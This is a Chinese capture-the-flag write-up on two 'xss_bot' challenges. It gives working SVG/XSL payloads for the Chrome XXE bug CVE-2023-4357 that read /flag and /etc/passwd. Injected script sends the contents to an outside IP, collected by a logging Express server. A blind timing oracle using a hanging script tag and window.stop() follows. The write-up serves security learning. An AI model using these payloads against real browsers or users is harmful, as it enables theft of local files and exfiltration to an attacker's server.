xss_bot

正解

参考这里:https://github.com/xcanwin/CVE-2023-4357-Chrome-XXE

第一天晚上测试了贼久,post返回的数据为空,第二天早上再测,逐步排查问题,在环境里加代码,selenium访问完页面截一张图出来,哈,看到flag了,说明方法是对的,只是数据带回来时候出错了。索性直接把flag用get参数带回来,出了。

a.svg

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd_p "file:///flag">
<!ENTITY passwd_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
</div>
<div style="width:40rem" id="r" />

<script>
document.querySelector('#r').innerHTML = `
remote web url: &lt;textarea style="width:100%;height:1rem">${location.href}&lt;/textarea>&lt;br/>&lt;br/>`;
document.querySelectorAll('p').forEach(p => {
//You can send p.innerHTML by POST.
document.querySelector('#r').innerHTML += `
local file path: &lt;textarea style="width:100%;height:1rem">${ p.className }&lt;/textarea>&lt;br/>
local file content:&lt;textarea style="width:100%;height:6rem">${ p.innerHTML }&lt;/textarea>&lt;br/>&lt;br/>`;

fetch('http://120.76.118.202:13000/data?'+'1111111111', {
method:"POST",
headers:{"Content-Type":"application/json"},
body:JSON.stringify({p:p.innerHTML})
})

});
</script>
</body>
</xsl:template>
</xsl:stylesheet>

server.js

const express = require('express');
const path = require('path');
const app = express();

const port = 13000;
app.use(express.json())
app.use(express.urlencoded({ extended: false }))

app.all('/data', (req, res) => {
console.log('data!!!',req.method)
res.set('Access-Control-Allow-Origin', '*');
res.set('Access-Control-Allow-Method', 'POST');
res.set('Access-Control-Allow-Headers', 'content-type');
// console.log(req.headers)
console.log(req.body)
console.log(req.query)
// console.log(req)
res.send('ok')
});

app.listen(port, () => {
console.log(`Example app listening on port ${port}`);
});

一开始不通的解法

一开始参考这个:https://cn-sec.com/archives/2224247.html

解题大致思路:发送b.html给bot,bot访问b.html,加载iframe,iframe再加载test.svg和解析test.xsl。要做的只是把iframe里的内容带出来。

本地起题目环境测试,发现vps上的test.svg和test.xsl都能被访问,但是没有发送带回数据的请求。

自己再测试,b.html,svg,xsl都放到同一个vps上,可以发带回数据的请求。

再测试,b.html放到8.222.191.116,svg和xsl放到别的地方,访问b.html,浏览器报错:

Uncaught DOMException: Blocked a frame with origin "http://8.222.191.116:13000" from accessing a cross-origin frame.

提示问题出在这里:const ifrDoc = ifr.contentWindow.document.documentElement;

此时查看到svg和xsl都被访问到了。

下面是代码

test.svg

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="#"?>
<xsl:stylesheet id="color-change" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 1000 1000">
<foreignObject id="myObj" width="1000" height="1000">
<div style="font-size:xxx-large" xmlns="http://www.w3.org/1999/xhtml">
<a href="#">#Copy me#</a><br/>
XSL: <xsl:value-of select="system-property('xsl:version')"/><br/>
Vendor: <xsl:value-of select="system-property('xsl:vendor')"/><br/>
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')"/><br/>
document() <xsl:copy-of select="document('test.xsl')"/>
</div>
</foreignObject>
</svg>
</xsl:template>
</xsl:stylesheet>

test.xsl

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY flag SYSTEM "file:///flag">
<!ENTITY group SYSTEM "file://localhost/etc/group">
]>

<p>
<p style="border-style: dotted;">/etc/passwd:
&passwd;
</p>
<p style="border-style: dotted;">/etc/hosts:
&hosts;
</p>
<p style="border-style: dotted;">/etc/group:
&group;
</p>
<p style="border-style: dotted;">/flag:
&flag;
</p>
</p>

server.js

const express = require('express');
const path = require('path');
const app = express();

const port = 13000;
app.use(express.json())
app.use(express.urlencoded({ extended: false }))

app.all('/test.svg', (req, res) => {
console.log('/test.svg')
res.set('Access-Control-Allow-Origin', '*');
// res.set('X-Frame-Options','SAMEORIGIN')
res.sendFile(path.join(__dirname, 'test.svg'));
});

app.all('/data', (req, res) => {
console.log('data!!!',req.method)
res.set('Access-Control-Allow-Origin', '*');
res.set('Access-Control-Allow-Method', 'POST');
res.set('Access-Control-Allow-Headers', 'Content-Type');
console.log(req.body)
console.log(req.query)
// console.log(req)
res.send('ok')
});


app.all('/b.html', (req, res) => {
console.log('/b.html')
// res.set('X-Frame-Options','SAMEORIGIN')
res.set('Access-Control-Allow-Origin', '*');
res.sendFile(path.join(__dirname, 'b.html'));
});

app.all('/b.svg', (req, res) => {
console.log('/b.svg')
// res.set('X-Frame-Options','SAMEORIGIN')
res.set('Access-Control-Allow-Origin', '*');
res.sendFile(path.join(__dirname, 'b.svg'));
});

app.all('/test.xsl', (req, res) => {
console.log('/test.xsl')
res.set('Access-Control-Allow-Origin', '*');
res.sendFile(path.join(__dirname, 'test.xsl'));
});

app.listen(port, () => {
console.log(`Example app listening on port ${port}`);
});

b.html

<body>
<script>
const r = document.createElement('div');
r.style.width = '40rem';document.body.appendChild(r);
const ifr = document.createElement('iframe');
ifr.style.display = 'none';
document.body.appendChild(ifr);
ifr.onload = function() {
const ifrDoc = ifr.contentWindow.document.documentElement;
r.innerHTML = `remote web url:<input value="${location.href}" style="width:100%" /><br/><br/>`;
ifrDoc.querySelectorAll('p').forEach(p =>
{
r.innerHTML += `local file path:<input value="${p.getAttribute("path")}" style="width:100%" /><br/>local file content:<textarea style="width:100%;height:6rem">${p.innerHTML}</textarea><br/><br/>`;
fetch('http://120.76.118.202:13000/data', {
method:"POST",
body:JSON.stringify({p:p.innerHTML})
})
});
}
ifr.src = "http://120.76.118.202:13000/test.svg";
</script>
</body>

xss_bot no internet

没别的地方可看了,只能看看这部分有没有地方可以触发报错或者延时

try:
options = webdriver.ChromeOptions()
options.add_argument("--no-sandbox") # sandbox not working in docker
options.add_argument("--headless")
options.add_argument("--disable-gpu")
options.add_argument("--user-data-dir=/dev/shm/user-data/"+user_id)
os.environ["TMPDIR"] = "/dev/shm/chromium-data/"
options.add_experimental_option("excludeSwitches", ["enable-logging"])

with webdriver.Chrome(options=options) as driver:
ua = driver.execute_script("return navigator.userAgent")
print(" I am using", ua)
driver.set_page_load_timeout(15)
print("- Now browsing your website...")
driver.get("http://localhost:"+port_id+"/"+file_name)
time.sleep(4)
print("Bye bye!")
except Exception as e:
print("ERROR", type(e))
print("I'll not give you exception message this time.")

看了一会,只能想办法让set_page_load_timeout报异常了。

去搜如何延缓页面加载时间,普通的setTimeout是不行的。

…….

<script src="http://1.1.1.1/1.js"></script>,本地测试,这玩意写进去能够延缓访问时间,但只能延缓近0.1秒,根本不够。但是也没管那么多,写进题目里看看,报异常了……估计是我环境通网找不到1.1.1.1就直接取消了,而题目由于不通网就一直卡住。还是得是实际测试。

接下来就是判断字符,然后动态写入这个标签。

测试发现,只要代码里含有<script src="http://1.1.1.1/1.js"></script>就会超时,无论是

if(false){
document.write(`<script src="http://1.1.1.1/1.js"></script>`)
}

还是

//<script src="http://1.1.1.1/1.js"></script>

换了个写法,但是不超时了,也不行。

document.write(String.fromCharCode(...))

又卡住了。

……

那既然写了script标签怎样都会超时,那看看能不能手动停止加载页面。又搜索了一番,window.stop()可以。测试,成了。

所以只要判断字符对了就执行window.stop()

剩下的就是爆破了,手动爆破,先爆长度再爆范围。

爆破时候发现小于号<不生效,我猜测是给当做标签开头来处理了,这毕竟不是正规的js文件,出问题也正常。